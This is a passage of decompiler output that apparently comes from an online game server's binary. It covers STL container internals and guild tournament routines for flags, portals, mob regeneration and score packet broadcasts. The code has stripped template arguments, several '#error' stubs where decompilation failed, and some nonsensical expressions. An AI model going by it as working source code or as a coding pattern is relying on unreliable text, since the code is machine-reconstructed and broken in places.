int)((char *)v4->_Myend - (char *)v7)) >> 32) >> 1; v9 = v10 + ((unsigned int)v10 >> 31); } else { v9 = 0; } v11 = _Count; if ( _Count ) { if ( v7 ) v12 = v4->_Mylast - v7; else v12 = 0; if ( 357913941 - v12 < _Count ) std::vector>::_Xlen((std::vector > *)v4); if ( v7 ) v13 = v4->_Mylast - v7; else v13 = 0; if ( v9 >= _Count + v13 ) { v20 = v4->_Mylast; v21 = _Where; _Newveca = v4->_Mylast; if ( (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) / 12 >= _Count ) { _Wherea = &v20[-_Count]; v4->_Mylast = std::_Uninit_copy>( &v20[-_Count], v20, v20, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)((_BYTE)v20 - 12 * _Count)); std::_Copy_backward_opt( *(TickTimer **)&v21, _Wherea, _Newveca, (std::_Nonscalar_ptr_iterator_tag)_Wherea); std::fill( *(TickTimer **)&v21, (TickTimer *)(*(_DWORD *)&v21 + 12 * _Count), (TickTimer *)&_Tmp); } else { std::_Uninit_copy>( *(TickTimer **)&_Where, v20, (TickTimer *)(*(_DWORD *)&_Where + 12 * _Count), &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)(12 * _Count)); v22 = v4->_Mylast; v23 = v4->_Mylast; v30 = 2; std::vector>::_Ufill( v4, v23, _Count - (signed int)((char *)v22 - *(_DWORD *)&_Where) / 12, (TickTimer *)&_Tmp); v24 = (unsigned int)&v4->_Mylast[_Count]; v4->_Mylast = (TickTimer *)v24; std::fill( *(TickTimer **)&_Where, (TickTimer *)(v24 - 12 * _Count), (TickTimer *)&_Tmp); } } else { if ( 357913941 - (v9 >> 1) >= v9 ) v14 = (v9 >> 1) + v9; else v14 = 0; if ( v7 ) v15 = v4->_Mylast - v7; else v15 = 0; if ( v14 < _Count + v15 ) v14 = _Count + std::vector>::size(v4); v16 = 12 * v14; _Newvec = operator new(12 * v14); v17 = v4->_Myfirst; v30 = 0; _Counta = std::_Uninit_copy>( v17, *(TickTimer **)&_Where, (TickTimer *)_Newvec, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n>( _Counta, v11, (TickTimer *)&_Tmp, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_copy>( *(TickTimer **)&_Where, v4->_Mylast, &_Counta[v11], &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v18 = (int)v4->_Myfirst; if ( v18 ) v18 = (signed int)((char *)v4->_Mylast - v18) / 12; v19 = v18 + v11; if ( v4->_Myfirst ) operator delete(v4->_Myfirst); v4->_Myend = (TickTimer *)((char *)_Newvec + v16); v4->_Mylast = (TickTimer *)((char *)_Newvec + 12 * v19); v4->_Myfirst = (TickTimer *)_Newvec; } } } //----- (00469C50) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, TOURNAMENT_PLAYER_SCORE *_Val) { std::vector > *v4; // ebx@1 TOURNAMENT_PLAYER_SCORE *v5; // ecx@1 unsigned int v6; // edi@2 signed int v7; // edx@3 int v8; // eax@6 int v9; // eax@11 int v10; // edi@15 int v11; // eax@18 void *v12; // eax@22 TOURNAMENT_PLAYER_SCORE *v13; // ecx@22 TOURNAMENT_PLAYER_SCORE *v14; // ecx@22 int v15; // eax@23 unsigned int v16; // esi@25 TOURNAMENT_PLAYER_SCORE *v17; // edx@26 TOURNAMENT_PLAYER_SCORE *v18; // eax@26 void *v19; // eax@29 TOURNAMENT_PLAYER_SCORE *v20; // ecx@30 int v21; // eax@30 TOURNAMENT_PLAYER_SCORE *v22; // ecx@31 TOURNAMENT_PLAYER_SCORE *v23; // ST24_4@31 int v24; // eax@31 int v25; // esi@31 TOURNAMENT_PLAYER_SCORE *v26; // eax@32 TOURNAMENT_PLAYER_SCORE *v27; // ecx@32 void *v28; // edx@32 int v29; // [sp+0h] [bp-50h]@1 void *_Newvec; // [sp+Ch] [bp-44h]@22 std::_Nonscalar_ptr_iterator_tag __formal[4]; // [sp+10h] [bp-40h]@22 TOURNAMENT_PLAYER_SCORE _Tmp; // [sp+14h] [bp-3Ch]@1 unsigned int v33; // [sp+3Ch] [bp-14h]@1 int *v34; // [sp+40h] [bp-10h]@1 int v35; // [sp+4Ch] [bp-4h]@22 int v36; // [sp+50h] [bp+0h]@1 v4 = this; memcpy(&_Tmp, _Val, sizeof(_Tmp)); v5 = this->_Myfirst; v33 = (unsigned int)&v36 ^ __security_cookie; v34 = &v29; if ( v5 ) { v7 = (signed int)((unsigned __int64)(1717986919i64 * (unsigned int)((char *)v4->_Myend - (char *)v5)) >> 32) >> 4; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } if ( _Count ) { if ( v5 ) v8 = v4->_Mylast - v5; else v8 = 0; if ( (unsigned int)&wholesaver.ws_savestore[1166].esc_skill.buffer[-v8 + 23370] < _Count ) std::vector>::_Xlen((std::vector > *)v4); if ( v5 ) v9 = v4->_Mylast - v5; else v9 = 0; if ( v6 >= _Count + v9 ) { v20 = v4->_Mylast; v21 = (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) / 40; *(_DWORD *)&__formal[0].dummy[0] = v4->_Mylast; if ( v21 >= _Count ) { _Newvec = &v20[-_Count]; v26 = std::_Uninit_copy>( &v20[-_Count], v20, v20, &v4->baseclass_0._Alval, __formal[0]); v27 = *(TOURNAMENT_PLAYER_SCORE **)&__formal[0].dummy[0]; v28 = _Newvec; v4->_Mylast = v26; std::_Copy_backward_opt( *(TOURNAMENT_PLAYER_SCORE **)&_Where, (TOURNAMENT_PLAYER_SCORE *)v28, v27, __formal[0]); std::fill( *(TOURNAMENT_PLAYER_SCORE **)&_Where, (TOURNAMENT_PLAYER_SCORE *)(*(_DWORD *)&_Where + 40 * _Count), &_Tmp); } else { *(_DWORD *)&__formal[0].dummy[0] = 40 * _Count; std::_Uninit_copy>( *(TOURNAMENT_PLAYER_SCORE **)&_Where, v20, (TOURNAMENT_PLAYER_SCORE *)(*(_DWORD *)&_Where + 40 * _Count), &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)(40 * _Count)); v22 = v4->_Mylast; v23 = v4->_Mylast; v35 = 2; std::vector>::_Ufill( v4, v23, _Count - (signed int)((char *)v22 - *(_DWORD *)&_Where) / 40, &_Tmp); v24 = *(_DWORD *)&__formal[0].dummy[0]; v25 = (int)((char *)v4->_Mylast + *(_DWORD *)&__formal[0].dummy[0]); v4->_Mylast = (TOURNAMENT_PLAYER_SCORE *)v25; std::fill( *(TOURNAMENT_PLAYER_SCORE **)&_Where, (TOURNAMENT_PLAYER_SCORE *)(v25 - v24), &_Tmp); } } else { if ( (unsigned int)&wholesaver.ws_savestore[1166].esc_skill.buffer[-(v6 >> 1) + 23370] >= v6 ) v10 = (v6 >> 1) + v6; else v10 = 0; if ( v5 ) v11 = v4->_Mylast - v5; else v11 = 0; if ( v10 < _Count + v11 ) v10 = _Count + std::vector>::size(v4); v12 = operator new(40 * v10); v13 = v4->_Myfirst; _Newvec = v12; v35 = 0; *(_DWORD *)&__formal[0].dummy[0] = std::_Uninit_copy>( v13, *(TOURNAMENT_PLAYER_SCORE **)&_Where, (TOURNAMENT_PLAYER_SCORE *)v12, &v4->baseclass_0._Alval, __formal[0]); std::_Uninit_fill_n>( *(TOURNAMENT_PLAYER_SCORE **)&__formal[0].dummy[0], _Count, &_Tmp, &v4->baseclass_0._Alval, __formal[0]); std::_Uninit_copy>( *(TOURNAMENT_PLAYER_SCORE **)&_Where, v4->_Mylast, (TOURNAMENT_PLAYER_SCORE *)(*(_DWORD *)&__formal[0].dummy[0] + 40 * _Count), &v4->baseclass_0._Alval, __formal[0]); v14 = v4->_Myfirst; if ( v14 ) v15 = v4->_Mylast - v14; else v15 = 0; v16 = v15 + _Count; if ( v14 ) { v17 = v4->_Mylast; v18 = v4->_Myfirst; if ( v14 != v17 ) { do ++v18; while ( v18 != v17 ); } operator delete(v4->_Myfirst); } v19 = _Newvec; v4->_Myend = (TOURNAMENT_PLAYER_SCORE *)((char *)_Newvec + 40 * v10); v4->_Mylast = (TOURNAMENT_PLAYER_SCORE *)((char *)v19 + 40 * v16); v4->_Myfirst = (TOURNAMENT_PLAYER_SCORE *)v19; } } } //----- (00469F10) -------------------------------------------------------- #error "469F10: undefined or illegal type '#615' (funcsize=199)" //----- (0046A0F0) -------------------------------------------------------- int std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Buynode(...) { void *v6; // esi@1 int v8; // [sp+0h] [bp-24h]@1 void *v9; // [sp+Ch] [bp-18h]@1 void *_Wherenode; // [sp+10h] [bp-14h]@1 int *v11; // [sp+14h] [bp-10h]@1 int v12; // [sp+20h] [bp-4h]@1 v11 = &v8; v6 = operator new(0x48u); _Wherenode = v6; v12 = 0; v9 = v6; LOBYTE(v12) = 1; if ( v6 ) std::_Tree_nod_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Node::_Node( (std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator(GuildTournamentSystem::Gate *_First, GuildTournamentSystem::Gate *_Last, GuildTournamentSystem::Gate *_Val) { GuildTournamentSystem::Gate *i; // esi@1 for ( i = _First; i != _Last; ++i ) { i->bIsUse = _Val->bIsUse; i->hFlagNumber = _Val->hFlagNumber; i->hGateNumber = _Val->hGateNumber; std::basic_string_std::allocator>::assign( &i->strunUseGateName, &_Val->strunUseGateName, 0, 0xFFFFFFFFu); std::basic_string_std::allocator>::assign( &i->strUseGateName, &_Val->strUseGateName, 0, 0xFFFFFFFFu); } } //----- (0046A1E0) -------------------------------------------------------- void __cdecl std::fill(GuildTournamentSystem::AdvanMobItemRegenInfo *_First, GuildTournamentSystem::AdvanMobItemRegenInfo *_Last, GuildTournamentSystem::AdvanMobItemRegenInfo *_Val) { GuildTournamentSystem::AdvanMobItemRegenInfo *i; // esi@1 for ( i = _First; i != _Last; ++i ) { *(_QWORD *)&i->mapName.n3_name[0] = *(_QWORD *)&_Val->mapName.n3_name[0]; *(_DWORD *)&i->mapName.n3_name[8] = *(_DWORD *)&_Val->mapName.n3_name[8]; std::basic_string_std::allocator>::assign( &i->strGroupName, &_Val->strGroupName, 0, 0xFFFFFFFFu); i->AdvanIndex = _Val->AdvanIndex; } } //----- (0046A230) -------------------------------------------------------- int __thiscall GuildTournamentSystem::FlagInfo::operator_(int this, int a2) { int v2; // esi@1 v2 = this; *(_DWORD *)this = *(_DWORD *)a2; *(_WORD *)(this + 4) = *(_WORD *)(a2 + 4); std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)(this + 8), (std::basic_string,std::allocator > *)(a2 + 8), 0, 0xFFFFFFFFu); std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)(v2 + 36), (std::basic_string,std::allocator > *)(a2 + 36), 0, 0xFFFFFFFFu); std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)(v2 + 64), (std::basic_string,std::allocator > *)(a2 + 64), 0, 0xFFFFFFFFu); *(_DWORD *)(v2 + 92) = *(_DWORD *)(a2 + 92); *(_DWORD *)(v2 + 96) = *(_DWORD *)(a2 + 96); *(_DWORD *)(v2 + 100) = *(_DWORD *)(a2 + 100); *(_WORD *)(v2 + 104) = *(_WORD *)(a2 + 104); std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)(v2 + 108), (std::basic_string,std::allocator > *)(a2 + 108), 0, 0xFFFFFFFFu); std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)(v2 + 136), (std::basic_string,std::allocator > *)(a2 + 136), 0, 0xFFFFFFFFu); std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)(v2 + 164), (std::basic_string,std::allocator > *)(a2 + 164), 0, 0xFFFFFFFFu); return v2; } //----- (0046A2E0) -------------------------------------------------------- void __cdecl std::_Uninit_fill_n>(GuildTournamentSystem::Gate *_First, unsigned int _Count, GuildTournamentSystem::Gate *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { GuildTournamentSystem::Gate *v5; // esi@1 unsigned int v6; // edi@1 int v7; // [sp+0h] [bp-20h]@1 GuildTournamentSystem::Gate *_Next; // [sp+Ch] [bp-14h]@1 int *v9; // [sp+10h] [bp-10h]@1 int v10; // [sp+1Ch] [bp-4h]@1 v5 = _First; v6 = _Count; v9 = &v7; _Next = _First; v10 = 0; while ( v6 > 0 ) { LOBYTE(v10) = 1; if ( v5 ) GuildTournamentSystem::Gate::Gate(v5, _Val); --v6; ++v5; LOBYTE(v10) = 0; } } //----- (0046A3C0) -------------------------------------------------------- void __cdecl std::_Uninit_fill_n>(GuildTournamentSystem::AdvanMobItemRegenInfo *_First, unsigned int _Count, GuildTournamentSystem::AdvanMobItemRegenInfo *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { GuildTournamentSystem::AdvanMobItemRegenInfo *v5; // esi@1 unsigned int v6; // edi@1 int v7; // [sp+0h] [bp-20h]@1 GuildTournamentSystem::AdvanMobItemRegenInfo *_Next; // [sp+Ch] [bp-14h]@1 int *v9; // [sp+10h] [bp-10h]@1 int v10; // [sp+1Ch] [bp-4h]@1 v5 = _First; v6 = _Count; v9 = &v7; _Next = _First; v10 = 0; while ( v6 ) { std::_Construct(v5, _Val); --v6; ++v5; } } //----- (0046A460) -------------------------------------------------------- GuildTournamentSystem::FlagInfo *__cdecl std::_Copy_backward_opt(GuildTournamentSystem::FlagInfo *_First, GuildTournamentSystem::FlagInfo *_Last, GuildTournamentSystem::FlagInfo *_Dest, std::_Nonscalar_ptr_iterator_tag __formal) { GuildTournamentSystem::FlagInfo *v4; // esi@1 GuildTournamentSystem::FlagInfo *v5; // edi@2 GuildTournamentSystem::FlagInfo *result; // eax@4 v4 = _Last; if ( _First == _Last ) { result = _Dest; } else { v5 = _Dest; do { --v4; --v5; GuildTournamentSystem::FlagInfo::operator_((int)v5, (int)v4); } while ( v4 != _First ); result = v5; } return result; } //----- (0046A4A0) -------------------------------------------------------- GuildTournamentSystem::FlagInfo *__cdecl std::_Uninit_copy>(GuildTournamentSystem::FlagInfo *_First, GuildTournamentSystem::FlagInfo *_Last, GuildTournamentSystem::FlagInfo *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { GuildTournamentSystem::FlagInfo *v5; // esi@1 GuildTournamentSystem::FlagInfo *v6; // edi@1 int v8; // [sp+0h] [bp-20h]@1 GuildTournamentSystem::FlagInfo *_Next; // [sp+Ch] [bp-14h]@1 int *v10; // [sp+10h] [bp-10h]@1 int v11; // [sp+1Ch] [bp-4h]@1 v5 = _Dest; v6 = _First; v10 = &v8; _Next = _Dest; v11 = 0; while ( v6 != _Last ) { LOBYTE(v11) = 1; if ( v5 ) GuildTournamentSystem::FlagInfo::FlagInfo(v5, v6); ++v5; LOBYTE(v11) = 0; ++v6; } return v5; } //----- (0046A540) -------------------------------------------------------- bool __thiscall GuildTournamentSystem::PortalResiter(GuildTournamentSystem *this, #593 *a2, unsigned int GuildFlag, const char *pkGuildNameA, const char *pkGuildNameB) { unsigned int v5; // ebx@1 char *v6; // ebp@1 int v7; // eax@2 int v8; // esi@4 int v9; // esi@7 const char *v10; // eax@7 int v11; // esi@7 int v12; // edi@9 bool result; // al@12 int i; // [sp+10h] [bp-78h]@1 char *_Ptr; // [sp+14h] [bp-74h]@1 const char *v16; // [sp+18h] [bp-70h]@1 int v17; // [sp+1Ch] [bp-6Ch]@1 __int16 info; // [sp+20h] [bp-68h]@7 std::basic_string,std::allocator > _Right; // [sp+24h] [bp-64h]@7 char v20; // [sp+40h] [bp-48h]@7 std::basic_string,std::allocator > thisa; // [sp+5Ch] [bp-2Ch]@7 unsigned int v22; // [sp+78h] [bp-10h]@1 int v23; // [sp+84h] [bp-4h]@7 v22 = (unsigned int)&i ^ __security_cookie; v17 = (int)a2; v5 = 0; _Ptr = (char *)pkGuildNameA; v16 = pkGuildNameB; v6 = (char *)&this->m_vecFlags; for ( i = 0; ; i += 192 ) { v7 = *((_DWORD *)v6 + 1); if ( !v7 ) break; if ( v5 >= (*((_DWORD *)v6 + 2) - v7) / 192 ) break; v8 = *((_DWORD *)v6 + 1); if ( !v8 || (*((_DWORD *)v6 + 2) - v8) / 192 <= v5 ) LABEL_11: std::vector>::_Xran((std::vector > *)v6); if ( GuildFlag == *(_WORD *)(i + v8 + 4) ) { v9 = v17; memset(&info, 0, 0x58u); v23 = 0; info = AxialListNearGateFind::alngf_Gethandle(v17); v10 = (const char *)(*(int (__thiscall **)(int))(*(_DWORD *)v9 + 2196))(v9); std::basic_string_std::allocator>::assign(&thisa, v10, strlen(v10)); std::basic_string_std::allocator>::assign(&_Right, _Ptr, strlen(_Ptr)); std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&v20, v16, strlen(v16)); v11 = *((_DWORD *)v6 + 1); if ( !v11 || (*((_DWORD *)v6 + 2) - v11) / 192 <= v5 ) goto LABEL_11; v12 = i; *(_WORD *)(i + v11 + 104) = info; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)(v12 + v11 + 108), &_Right, 0, 0xFFFFFFFFu); std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)(v12 + v11 + 136), (std::basic_string,std::allocator > *)&v20, 0, 0xFFFFFFFFu); std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)(v12 + v11 + 164), &thisa, 0, 0xFFFFFFFFu); v23 = -1; ShineObjectClass::ShineObject::LuaAi::_LuaAi((GuildTournamentSystem::PortalInfo *)&info); } ++v5; } __security_check_cookie((unsigned int)&i ^ v22); return result; } //----- (0046A750) -------------------------------------------------------- void __thiscall GuildTournamentSystem::SendScorePacket::_SendScorePacket(GuildTournamentSystem::SendScorePacket *this) { GuildTournamentSystem::SendScorePacket *v1; // esi@1 v1 = this; if ( this->m_vecPlayerScores._Myfirst ) operator delete(this->m_vecPlayerScores._Myfirst); v1->m_vecPlayerScores._Myfirst = 0; v1->m_vecPlayerScores._Mylast = 0; v1->m_vecPlayerScores._Myend = 0; } //----- (0046A780) -------------------------------------------------------- #error "46A780: undefined or illegal type '#593' (funcsize=86)" //----- (0046A860) -------------------------------------------------------- #error "46A860: undefined or illegal type '#593' (funcsize=76)" //----- (0046A910) -------------------------------------------------------- #error "46A910: undefined or illegal type '#593' (funcsize=147)" //----- (0046AAD0) -------------------------------------------------------- #error "46AAD0: undefined or illegal type '#593' (funcsize=113)" //----- (0046AC20) -------------------------------------------------------- #error "46AC20: undefined or illegal type '#593' (funcsize=115)" //----- (0046AD50) -------------------------------------------------------- #593 *__thiscall GuildTournamentSystem::GuildGroup::GetGuildMaster(GuildTournamentSystem::GuildGroup *this) { GuildTournamentSystem::GuildMemberInfo *v1; // eax@1 char *v2; // ecx@1 #593 *result; // eax@3 int v4; // edi@4 v1 = this->m_vecGuildMembers._Myfirst; v2 = (char *)&this->m_vecGuildMembers; if ( v1 && (*((_DWORD *)v2 + 2) - (signed int)v1) / 28 ) { v4 = *((_DWORD *)v2 + 1); if ( !v4 || !((*((_DWORD *)v2 + 2) - v4) / 28) ) std::vector>::_Xran((std::vector > *)v2); result = ShineObjectManager::som_GetObject(&shineobjmanager, *(_WORD *)v4); if ( !result || *(_DWORD *)(v4 + 4) ) result = 0; } else { result = 0; } return result; } //----- (0046ADD0) -------------------------------------------------------- #error "46ADD0: undefined or illegal type '#593' (funcsize=156)" //----- (0046AFB0) -------------------------------------------------------- void __thiscall GuildTournamentSystem::GuildGroup::SetAdvan(GuildTournamentSystem::GuildGroup *this, GuildTournamentSystem::GuildGroup::Advantage *val) { int v2; // eax@1 unsigned int v3; // ebp@1 char *v4; // edi@1 int v5; // eax@2 int v6; // esi@4 unsigned int v7; // eax@6 int v8; // esi@6 const char *v9; // ecx@7 MobRegenClass::MobBreederGroup *v10; // ecx@9 const char *v11; // esi@11 ORToken v12; // [sp-14h] [bp-2Ch]@9 int v13; // [sp-10h] [bp-28h]@9 int v14; // [sp-Ch] [bp-24h]@9 int v15; // [sp-8h] [bp-20h]@9 int v16; // [sp-4h] [bp-1Ch]@9 GuildTournamentSystem::GuildGroup *v17; // [sp+10h] [bp-8h]@1 ORToken *v18; // [sp+14h] [bp-4h]@9 int vala; // [sp+1Ch] [bp+4h]@1 *(_DWORD *)&this->m_Advan.m_IsAdvan = *(_DWORD *)&val->m_IsAdvan; v2 = val->m_nLevel; v17 = this; this->m_Advan.m_nLevel = v2; v3 = 0; v4 = (char *)&this->m_vecAdenItemInfo; vala = 0; while ( 1 ) { v5 = *((_DWORD *)v4 + 1); if ( !v5 ) break; if ( v3 >= (*((_DWORD *)v4 + 2) - v5) / 44 ) break; v6 = *((_DWORD *)v4 + 1); if ( !v6 || (*((_DWORD *)v4 + 2) - v6) / 44 <= v3 ) std::vector>::_Xran((std::vector > *)v4); v7 = *(_DWORD *)(v6 + vala + 36); v8 = vala + v6; if ( v7 < 0x10 ) v9 = (const char *)(v8 + 16); else v9 = *(const char **)(v8 + 16); v18 = &v12; v16 = 0; v15 = 0; v14 = 0; v13 = 0; *(_DWORD *)&v12.ort_Name[0] = 0; strncpy(v12.ort_Name, v9, 0x14u); v10 = MobHatchery::mg_FindBreedGroup(mobhatchery, (Name3 *)v8, v12); if ( v10 ) { if ( v17->m_Advan.m_IsAdvan && *(_DWORD *)(v8 + 40) <= (unsigned int)v17->m_Advan.m_nLevel ) { MobRegenClass::MobBreederGroup::mbg_SetEnableNextRegen(v10, 1); ++v3; vala += 44; } else { MobRegenClass::MobBreederGroup::mbg_SetEnableNextRegen(v10, 0); ++v3; vala += 44; } } else { if ( *(_DWORD *)(v8 + 36) < 0x10u ) v11 = (const char *)(v8 + 16); else v11 = *(const char **)(v8 + 16); AssertClass::ac_AssertFail(&shineassert, "GuildTournamentSystem::GuildGroup Not Find BreedGroup :", v11); ++v3; vala += 44; } } } //----- (0046B110) -------------------------------------------------------- void __thiscall GuildTournamentSystem::GuildGroup::SetFlagMultiple(GuildTournamentSystem::GuildGroup *this, int val) { char *v2; // eax@1 GuildTournamentSystem::GuildGroup *v3; // edi@1 unsigned int v4; // ebp@1 char *v5; // esi@1 int i; // ebx@1 int v7; // eax@2 int v8; // edi@4 void *v9; // edi@6 TickTimer *v10; // ecx@11 bool v11; // [sp-4h] [bp-30h]@11 GuildTournamentSystem::GuildGroup *v12; // [sp+10h] [bp-1Ch]@1 AxialListPacketBroadcast alchat; // [sp+14h] [bp-18h]@9 int v14; // [sp+28h] [bp-4h]@9 v2 = gpp.pp_Buffer; v3 = this; *(_WORD *)gpp.pp_Buffer = 29938; v2[2] = val; v4 = 0; v12 = this; *(_DWORD *)(v2 + 3) = this->m_GuildNumber; v5 = (char *)&this->m_vecGuildMembers; for ( i = 0; ; i += 28 ) { v7 = *((_DWORD *)v5 + 1); if ( !v7 ) break; if ( v4 >= (*((_DWORD *)v5 + 2) - v7) / 28 ) break; v8 = *((_DWORD *)v5 + 1); if ( !v8 || (*((_DWORD *)v5 + 2) - v8) / 28 <= v4 ) std::vector>::_Xran((std::vector > *)v5); v9 = (void *)ShineObjectManager::som_GetObject(&shineobjmanager, *(_WORD *)(i + v8)); if ( v9 ) { AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 7); v14 = 0; ShineObjectClass::ShineObject::so_AllInMap(v9, (int)&alchat, 1); v14 = -1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); v3 = v12; break; } v3 = v12; ++v4; } v3->m_FlagMultiple = val; if ( val <= 1 ) { v11 = 0; v10 = &v3->m_FlagMultiplelTime; } else { PacketContainer::pcb_SetSocketSession((ORField *)&v3->m_FlagMultiplelTime, (ORColumnHeader *)0x258); v11 = 1; v10 = &v3->m_FlagMultiplelTime; } TickTimer::Enable(v10, v11); } //----- (0046B250) -------------------------------------------------------- #error "46B250: undefined or illegal type '#593' (funcsize=134)" //----- (0046B3C0) -------------------------------------------------------- bool __thiscall GuildTournamentSystem::SendScorePacket::SendtoAllinMap(GuildTournamentSystem::SendScorePacket *this, #593 *a2, int PartMask) { char *v3; // edi@1 PROTO_NC_GUILD_TOURNAMENT_SCORE_CMD *v4; // eax@1 int v5; // edi@1 char *v6; // ecx@1 int v7; // eax@1 unsigned int v8; // ebx@3 int v9; // esi@3 int v10; // eax@4 int v11; // ebp@6 int v12; // eax@8 bool result; // al@11 AxialListPacketBroadcast alchat; // [sp+10h] [bp-18h]@10 int v15; // [sp+24h] [bp-4h]@10 int PartMaska; // [sp+30h] [bp+8h]@3 v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 29917; v4 = this->m_pPacket; v5 = (int)(v3 + 2); *(_BYTE *)v5 = v4->PartMask; *(_DWORD *)(v5 + 1) = v4->regNumber; *(_DWORD *)(v5 + 5) = v4->unAllScore; *(_DWORD *)(v5 + 9) = v4->unCaptureFlagCount; v6 = (char *)&this->m_vecPlayerScores; *(_DWORD *)(v5 + 13) = v4->unPlayerNum; v7 = *((_DWORD *)v6 + 1); if ( v7 ) v7 = (*((_DWORD *)v6 + 2) - v7) / 40; *(_DWORD *)(v5 + 13) = v7; v8 = 0; *(_BYTE *)v5 = PartMask; v9 = v5 + 25; PartMaska = -25 - v5; while ( 1 ) { v10 = *((_DWORD *)v6 + 1); if ( !v10 ) break; if ( v8 >= (*((_DWORD *)v6 + 2) - v10) / 40 ) break; v11 = *((_DWORD *)v6 + 1); if ( !v11 || (*((_DWORD *)v6 + 2) - v11) / 40 <= v8 ) std::vector>::_Xran((std::vector > *)v6); v12 = v11 + v9 + PartMaska; *(_DWORD *)(v9 - 8) = *(_DWORD *)(v9 + PartMaska + v11); *(_DWORD *)(v9 - 4) = *(_DWORD *)(v12 + 4); *(_DWORD *)v9 = *(_DWORD *)(v12 + 8); *(_DWORD *)(v9 + 4) = *(_DWORD *)(v12 + 12); *(_DWORD *)(v9 + 8) = *(_DWORD *)(v12 + 16); *(_DWORD *)(v9 + 12) = *(_DWORD *)(v12 + 20); *(_DWORD *)(v9 + 16) = *(_DWORD *)(v12 + 24); *(_DWORD *)(v9 + 20) = *(_DWORD *)(v12 + 28); *(_DWORD *)(v9 + 24) = *(_DWORD *)(v12 + 32); *(_DWORD *)(v9 + 28) = *(_DWORD *)(v12 + 36); ++v8; v9 += 40; } AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 40 * *(_DWORD *)(v5 + 13) + 19); v15 = 0; if ( a2 ) { ShineObjectClass::ShineObject::so_AllInMap((void *)a2, (int)&alchat, 1); v15 = -1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); result = 1; } else { v15 = -1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); result = 0; } return result; } //----- (0046B570) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, GuildTournamentSystem::GuildMemberInfo *_Val) { std::vector > *v4; // edi@1 GuildTournamentSystem::GuildMemberInfo *v5; // esi@1 int v6; // esi@3 signed int v7; // edx@4 std::vector >::iterator *v8; // eax@5 v4 = this; v5 = this->_Myfirst; if ( v5 && this->_Mylast - v5 ) { v7 = (signed int)(*(_DWORD *)&_Where - (_DWORD)v5 + ((unsigned __int64)(-1840700269i64 * (*(_DWORD *)&_Where - (signed int)v5)) >> 32)) >> 4; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } std::vector>::_Insert_n( this, _Where, 1u, _Val); v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = &v4->_Myfirst[v6]; return v8; } //----- (0046B5E0) -------------------------------------------------------- std::_Tree,std::allocator >,0> >::iterator *__thiscall std::_Tree_std::allocator>_0>>::insert(std::_Tree,std::allocator >,0> > *this, std::_Tree,std::allocator >,0> >::iterator *result, std::_Tree,std::allocator >,0> >::iterator _Where, std::pair *_Val) { std::_Tree,std::allocator >,0> > *v4; // edi@1 std::_Tree,std::allocator >,0> >::iterator *v5; // eax@2 std::_Tree_nod,std::allocator >,0> >::_Node *v6; // eax@3 std::pair *v7; // esi@3 std::_Tree_nod,std::allocator >,0> >::_Node *v8; // eax@7 const unsigned int v9; // ebp@9 bool v10; // cf@9 int v11; // ecx@21 char v12; // [sp+8h] [bp-8h]@21 v4 = this; if ( !this->_Mysize ) { std::_Tree_std::allocator>_0>>::_Insert( this, result, 1, this->_Myhead, _Val); return result; } v6 = this->_Myhead; v7 = _Val; if ( (std::_Tree_nod,std::allocator >,0> >::_Node *)_Where == v6->_Left ) { if ( _Val->first < *(_DWORD *)(*(_DWORD *)&_Where + 12) ) { std::_Tree_std::allocator>_0>>::_Insert( this, result, 1, *(std::_Tree_nod,std::allocator >,0> >::_Node **)&_Where, _Val); return result; } goto LABEL_21; } if ( (std::_Tree_nod,std::allocator >,0> >::_Node *)_Where == v6 ) { v8 = v6->_Right; if ( v8->_Myval.first < _Val->first ) { std::_Tree_std::allocator>_0>>::_Insert( this, result, 0, v8, _Val); return result; } goto LABEL_21; } v9 = _Val->first; v10 = *(_DWORD 